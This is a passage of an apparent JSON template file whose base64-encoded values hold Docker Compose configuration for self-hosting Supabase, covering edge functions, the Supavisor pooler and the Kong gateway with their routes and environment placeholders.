FiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUEdfTUVUQV9QT1JUPTgwODAKICAgICAgLSAnUEdfTUVUQV9EQl9IT1NUPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUEdfTUVUQV9EQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BHX01FVEFfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gUEdfTUVUQV9EQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ1BHX01FVEFfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICBzdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczoKICAgIGltYWdlOiAnc3VwYWJhc2UvZWRnZS1ydW50aW1lOnYxLjY3LjQnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnRWRnZSBGdW5jdGlvbnMgaXMgaGVhbHRoeScKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdTVVBBQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fU1VQQUJBU0VLT05HfScKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX1JPTEVfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnU1VQQUJBU0VfREJfVVJMPXBvc3RncmVzcWw6Ly9wb3N0Z3Jlczoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnVkVSSUZZX0pXVD0ke0ZVTkNUSU9OU19WRVJJRllfSldUOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvZnVuY3Rpb25zOi9ob21lL2Rlbm8vZnVuY3Rpb25zJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgY29udGVudDogImltcG9ydCB7IHNlcnZlIH0gZnJvbSAnaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTMxLjAvaHR0cC9zZXJ2ZXIudHMnXG5pbXBvcnQgKiBhcyBqb3NlIGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3gvam9zZUB2NC4xNC40L2luZGV4LnRzJ1xuXG5jb25zb2xlLmxvZygnbWFpbiBmdW5jdGlvbiBzdGFydGVkJylcblxuY29uc3QgSldUX1NFQ1JFVCA9IERlbm8uZW52LmdldCgnSldUX1NFQ1JFVCcpXG5jb25zdCBWRVJJRllfSldUID0gRGVuby5lbnYuZ2V0KCdWRVJJRllfSldUJykgPT09ICd0cnVlJ1xuXG5mdW5jdGlvbiBnZXRBdXRoVG9rZW4ocmVxOiBSZXF1ZXN0KSB7XG4gIGNvbnN0IGF1dGhIZWFkZXIgPSByZXEuaGVhZGVycy5nZXQoJ2F1dGhvcml6YXRpb24nKVxuICBpZiAoIWF1dGhIZWFkZXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ01pc3NpbmcgYXV0aG9yaXphdGlvbiBoZWFkZXInKVxuICB9XG4gIGNvbnN0IFtiZWFyZXIsIHRva2VuXSA9IGF1dGhIZWFkZXIuc3BsaXQoJyAnKVxuICBpZiAoYmVhcmVyICE9PSAnQmVhcmVyJykge1xuICAgIHRocm93IG5ldyBFcnJvcihgQXV0aCBoZWFkZXIgaXMgbm90ICdCZWFyZXIge3Rva2VufSdgKVxuICB9XG4gIHJldHVybiB0b2tlblxufVxuXG5hc3luYyBmdW5jdGlvbiB2ZXJpZnlKV1Qoand0OiBzdHJpbmcpOiBQcm9taXNlPGJvb2xlYW4+IHtcbiAgY29uc3QgZW5jb2RlciA9IG5ldyBUZXh0RW5jb2RlcigpXG4gIGNvbnN0IHNlY3JldEtleSA9IGVuY29kZXIuZW5jb2RlKEpXVF9TRUNSRVQpXG4gIHRyeSB7XG4gICAgYXdhaXQgam9zZS5qd3RWZXJpZnkoand0LCBzZWNyZXRLZXkpXG4gIH0gY2F0Y2ggKGVycikge1xuICAgIGNvbnNvbGUuZXJyb3IoZXJyKVxuICAgIHJldHVybiBmYWxzZVxuICB9XG4gIHJldHVybiB0cnVlXG59XG5cbnNlcnZlKGFzeW5jIChyZXE6IFJlcXVlc3QpID0+IHtcbiAgaWYgKHJlcS5tZXRob2QgIT09ICdPUFRJT05TJyAmJiBWRVJJRllfSldUKSB7XG4gICAgdHJ5IHtcbiAgICAgIGNvbnN0IHRva2VuID0gZ2V0QXV0aFRva2VuKHJlcSlcbiAgICAgIGNvbnN0IGlzVmFsaWRKV1QgPSBhd2FpdCB2ZXJpZnlKV1QodG9rZW4pXG5cbiAgICAgIGlmICghaXNWYWxpZEpXVCkge1xuICAgICAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KHsgbXNnOiAnSW52YWxpZCBKV1QnIH0pLCB7XG4gICAgICAgICAgc3RhdHVzOiA0MDEsXG4gICAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgY29uc29sZS5lcnJvcihlKVxuICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogZS50b1N0cmluZygpIH0pLCB7XG4gICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgY29uc3QgdXJsID0gbmV3IFVSTChyZXEudXJsKVxuICBjb25zdCB7IHBhdGhuYW1lIH0gPSB1cmxcbiAgY29uc3QgcGF0aF9wYXJ0cyA9IHBhdGhuYW1lLnNwbGl0KCcvJylcbiAgY29uc3Qgc2VydmljZV9uYW1lID0gcGF0aF9wYXJ0c1sxXVxuXG4gIGlmICghc2VydmljZV9uYW1lIHx8IHNlcnZpY2VfbmFtZSA9PT0gJycpIHtcbiAgICBjb25zdCBlcnJvciA9IHsgbXNnOiAnbWlzc2luZyBmdW5jdGlvbiBuYW1lIGluIHJlcXVlc3QnIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA0MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG5cbiAgY29uc3Qgc2VydmljZVBhdGggPSBgL2hvbWUvZGVuby9mdW5jdGlvbnMvJHtzZXJ2aWNlX25hbWV9YFxuICBjb25zb2xlLmVycm9yKGBzZXJ2aW5nIHRoZSByZXF1ZXN0IHdpdGggJHtzZXJ2aWNlUGF0aH1gKVxuXG4gIGNvbnN0IG1lbW9yeUxpbWl0TWIgPSAxNTBcbiAgY29uc3Qgd29ya2VyVGltZW91dE1zID0gMSAqIDYwICogMTAwMFxuICBjb25zdCBub01vZHVsZUNhY2hlID0gZmFsc2VcbiAgY29uc3QgaW1wb3J0TWFwUGF0aCA9IG51bGxcbiAgY29uc3QgZW52VmFyc09iaiA9IERlbm8uZW52LnRvT2JqZWN0KClcbiAgY29uc3QgZW52VmFycyA9IE9iamVjdC5rZXlzKGVudlZhcnNPYmopLm1hcCgoaykgPT4gW2ssIGVudlZhcnNPYmpba11dKVxuXG4gIHRyeSB7XG4gICAgY29uc3Qgd29ya2VyID0gYXdhaXQgRWRnZVJ1bnRpbWUudXNlcldvcmtlcnMuY3JlYXRlKHtcbiAgICAgIHNlcnZpY2VQYXRoLFxuICAgICAgbWVtb3J5TGltaXRNYixcbiAgICAgIHdvcmtlclRpbWVvdXRNcyxcbiAgICAgIG5vTW9kdWxlQ2FjaGUsXG4gICAgICBpbXBvcnRNYXBQYXRoLFxuICAgICAgZW52VmFycyxcbiAgICB9KVxuICAgIHJldHVybiBhd2FpdCB3b3JrZXIuZmV0Y2gocmVxKVxuICB9IGNhdGNoIChlKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogZS50b1N0cmluZygpIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA1MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG59KSIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvaGVsbG8vaW5kZXgudHMKICAgICAgICB0YXJnZXQ6IC9ob21lL2Rlbm8vZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgY29udGVudDogIi8vIEZvbGxvdyB0aGlzIHNldHVwIGd1aWRlIHRvIGludGVncmF0ZSB0aGUgRGVubyBsYW5ndWFnZSBzZXJ2ZXIgd2l0aCB5b3VyIGVkaXRvcjpcbi8vIGh0dHBzOi8vZGVuby5sYW5kL21hbnVhbC9nZXR0aW5nX3N0YXJ0ZWQvc2V0dXBfeW91cl9lbnZpcm9ubWVudFxuLy8gVGhpcyBlbmFibGVzIGF1dG9jb21wbGV0ZSwgZ28gdG8gZGVmaW5pdGlvbiwgZXRjLlxuXG5pbXBvcnQgeyBzZXJ2ZSB9IGZyb20gXCJodHRwczovL2Rlbm8ubGFuZC9zdGRAMC4xNzcuMS9odHRwL3NlcnZlci50c1wiXG5cbnNlcnZlKGFzeW5jICgpID0+IHtcbiAgcmV0dXJuIG5ldyBSZXNwb25zZShcbiAgICBgXCJIZWxsbyBmcm9tIEVkZ2UgRnVuY3Rpb25zIVwiYCxcbiAgICB7IGhlYWRlcnM6IHsgXCJDb250ZW50LVR5cGVcIjogXCJhcHBsaWNhdGlvbi9qc29uXCIgfSB9LFxuICApXG59KVxuXG4vLyBUbyBpbnZva2U6XG4vLyBjdXJsICdodHRwOi8vbG9jYWxob3N0OjxLT05HX0hUVFBfUE9SVD4vZnVuY3Rpb25zL3YxL2hlbGxvJyBcXFxuLy8gICAtLWhlYWRlciAnQXV0aG9yaXphdGlvbjogQmVhcmVyIDxhbm9uL3NlcnZpY2Vfcm9sZSBBUEkga2V5PidcbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gc3RhcnQKICAgICAgLSAnLS1tYWluLXNlcnZpY2UnCiAgICAgIC0gL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbgogIHN1cGFiYXNlLXN1cGF2aXNvcjoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3VwYXZpc29yOjIuNS4xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9PTEVSX1RFTkFOVF9JRD1kZXZfdGVuYW50CiAgICAgIC0gUE9PTEVSX1BPT0xfTU9ERT10cmFuc2FjdGlvbgogICAgICAtICdQT09MRVJfREVGQVVMVF9QT09MX1NJWkU9JHtQT09MRVJfREVGQVVMVF9QT09MX1NJWkU6LTIwfScKICAgICAgLSAnUE9PTEVSX01BWF9DTElFTlRfQ09OTj0ke1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk46LTEwMH0nCiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUE9TVEdSRVNfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1lY3RvOi8vc3VwYWJhc2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS9fc3VwYWJhc2UnCiAgICAgIC0gQ0xVU1RFUl9QT1NUR1JFUz10cnVlCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfUEFTU1dPUkRfU1VQQVZJU09SU0VDUkVUfScKICAgICAgLSAnVkFVTFRfRU5DX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfVkFVTFRFTkN9JwogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnTUVUUklDU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFJFR0lPTj1sb2NhbAogICAgICAtICdFUkxfQUZMQUdTPS1wcm90b19kaXN0IGluZXRfdGNwJwogICAgY29tbWFuZDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICcvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3N1cGF2aXNvciBldmFsICIkJChjYXQgL2V0Yy9wb29sZXIvcG9vbGVyLmV4cykiICYmIC9hcHAvYmluL3NlcnZlcicKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICB0YXJnZXQ6IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICBjb250ZW50OiAiezpvaywgX30gPSBBcHBsaWNhdGlvbi5lbnN1cmVfYWxsX3N0YXJ0ZWQoOnN1cGF2aXNvcilcbns6b2ssIHZlcnNpb259ID1cbiAgICBjYXNlIFN1cGF2aXNvci5SZXBvLnF1ZXJ5IShcInNlbGVjdCB2ZXJzaW9uKClcIikgZG9cbiAgICAle3Jvd3M6IFtbdmVyXV19IC0+IFN1cGF2aXNvci5IZWxwZXJzLnBhcnNlX3BnX3ZlcnNpb24odmVyKVxuICAgIF8gLT4gbmlsXG4gICAgZW5kXG5wYXJhbXMgPSAle1xuICAgIFwiZXh0ZXJuYWxfaWRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9URU5BTlRfSURcIiksXG4gICAgXCJkYl9ob3N0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19IT1NUTkFNRVwiKSxcbiAgICBcImRiX3BvcnRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BPUlRcIikgfD4gU3RyaW5nLnRvX2ludGVnZXIoKSxcbiAgICBcImRiX2RhdGFiYXNlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19EQlwiKSxcbiAgICBcInJlcXVpcmVfdXNlclwiID0+IGZhbHNlLFxuICAgIFwiYXV0aF9xdWVyeVwiID0+IFwiU0VMRUNUICogRlJPTSBwZ2JvdW5jZXIuZ2V0X2F1dGgoJDEpXCIsXG4gICAgXCJkZWZhdWx0X21heF9jbGllbnRzXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfTUFYX0NMSUVOVF9DT05OXCIpLFxuICAgIFwiZGVmYXVsdF9wb29sX3NpemVcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9ERUZBVUxUX1BPT0xfU0laRVwiKSxcbiAgICBcImRlZmF1bHRfcGFyYW1ldGVyX3N0YXR1c1wiID0+ICV7XCJzZXJ2ZXJfdmVyc2lvblwiID0+IHZlcnNpb259LFxuICAgIFwidXNlcnNcIiA9PiBbJXtcbiAgICBcImRiX3VzZXJcIiA9PiBcInBnYm91bmNlclwiLFxuICAgIFwiZGJfcGFzc3dvcmRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BBU1NXT1JEXCIpLFxuICAgIFwibW9kZV90eXBlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfUE9PTF9NT0RFXCIpLFxuICAgIFwicG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJpc19tYW5hZ2VyXCIgPT4gdHJ1ZVxuICAgIH1dXG59XG5cbnRlbmFudCA9IFN1cGF2aXNvci5UZW5hbnRzLmdldF90ZW5hbnRfYnlfZXh0ZXJuYWxfaWQocGFyYW1zW1wiZXh0ZXJuYWxfaWRcIl0pXG5cbmlmIHRlbmFudCBkb1xuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLnVwZGF0ZV90ZW5hbnQodGVuYW50LCBwYXJhbXMpXG5lbHNlXG4gIHs6b2ssIF99ID0gU3VwYXZpc29yLlRlbmFudHMuY3JlYXRlX3RlbmFudChwYXJhbXMpXG5lbmRcbiIK", + "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkdfODAwMAogICAgICAtICdLT05HX1BPUlRfTUFQUz00NDM6ODAwMCcKICAgICAgLSAnSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBLT05HX0RBVEFCQVNFPW9mZgogICAgICAtIEtPTkdfREVDTEFSQVRJVkVfQ09ORklHPS9ob21lL2tvbmcva29uZy55bWwKICAgICAgLSAnS09OR19ETlNfT1JERVI9TEFTVCxBLENOQU1FJwogICAgICAtICdLT05HX1BMVUdJTlM9cmVxdWVzdC10cmFuc2Zvcm1lcixjb3JzLGtleS1hdXRoLGFjbCxiYXNpYy1hdXRoJwogICAgICAtIEtPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSX1NJWkU9MTYwawogICAgICAtICdLT05HX05HSU5YX1BST1hZX1BST1hZX0JVRkZFUlM9NjQgMTYwaycKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ0RBU0hCT0FSRF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0RBU0hCT0FSRF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9hcGkva29uZy55bWwKICAgICAgICB0YXJnZXQ6IC9ob21lL2tvbmcvdGVtcC55bWwKICAgICAgICBjb250ZW50OiAiX2Zvcm1hdF92ZXJzaW9uOiAnMi4xJ1xuX3RyYW5zZm9ybTogdHJ1ZVxuXG4jIyNcbiMjIyBDb25zdW1lcnMgLyBVc2Vyc1xuIyMjXG5jb25zdW1lcnM6XG4gIC0gdXNlcm5hbWU6IERBU0hCT0FSRFxuICAtIHVzZXJuYW1lOiBhbm9uXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfQU5PTl9LRVlcbiAgLSB1c2VybmFtZTogc2VydmljZV9yb2xlXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfU0VSVklDRV9LRVlcblxuIyMjXG4jIyMgQWNjZXNzIENvbnRyb2wgTGlzdFxuIyMjXG5hY2xzOlxuICAtIGNvbnN1bWVyOiBhbm9uXG4gICAgZ3JvdXA6IGFub25cbiAgLSBjb25zdW1lcjogc2VydmljZV9yb2xlXG4gICAgZ3JvdXA6IGFkbWluXG5cbiMjI1xuIyMjIERhc2hib2FyZCBjcmVkZW50aWFsc1xuIyMjXG5iYXNpY2F1dGhfY3JlZGVudGlhbHM6XG4tIGNvbnN1bWVyOiBEQVNIQk9BUkRcbiAgdXNlcm5hbWU6ICREQVNIQk9BUkRfVVNFUk5BTUVcbiAgcGFzc3dvcmQ6ICREQVNIQk9BUkRfUEFTU1dPUkRcblxuXG4jIyNcbiMjIyBBUEkgUm91dGVzXG4jIyNcbnNlcnZpY2VzOlxuXG4gICMjIE9wZW4gQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvdmVyaWZ5XG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL3ZlcmlmeVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tY2FsbGJhY2tcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvY2FsbGJhY2tcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvY2FsbGJhY2tcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9hdXRob3JpemVcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1hdXRob3JpemVcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL2F1dGhvcml6ZVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBTZWN1cmUgQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxXG4gICAgX2NvbW1lbnQ6ICdHb1RydWU6IC9hdXRoL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIFJFU1Qgcm91dGVzXG4gIC0gbmFtZTogcmVzdC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvcmVzdC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZXN0LXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3Jlc3QvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIEdyYXBoUUwgcm91dGVzXG4gIC0gbmFtZTogZ3JhcGhxbC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvZ3JhcGhxbC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWwnXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtcmVzdDozMDAwL3JwYy9ncmFwaHFsXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBncmFwaHFsLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2dyYXBocWwvdjFcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IHJlcXVlc3QtdHJhbnNmb3JtZXJcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGFkZDpcbiAgICAgICAgICAgIGhlYWRlcnM6XG4gICAgICAgICAgICAgIC0gQ29udGVudC1Qcm9maWxlOmdyYXBocWxfcHVibGljXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUmVhbHRpbWUgcm91dGVzXG4gIC0gbmFtZTogcmVhbHRpbWUtdjEtd3NcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvc29ja2V0XG4gICAgcHJvdG9jb2w6IHdzXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12M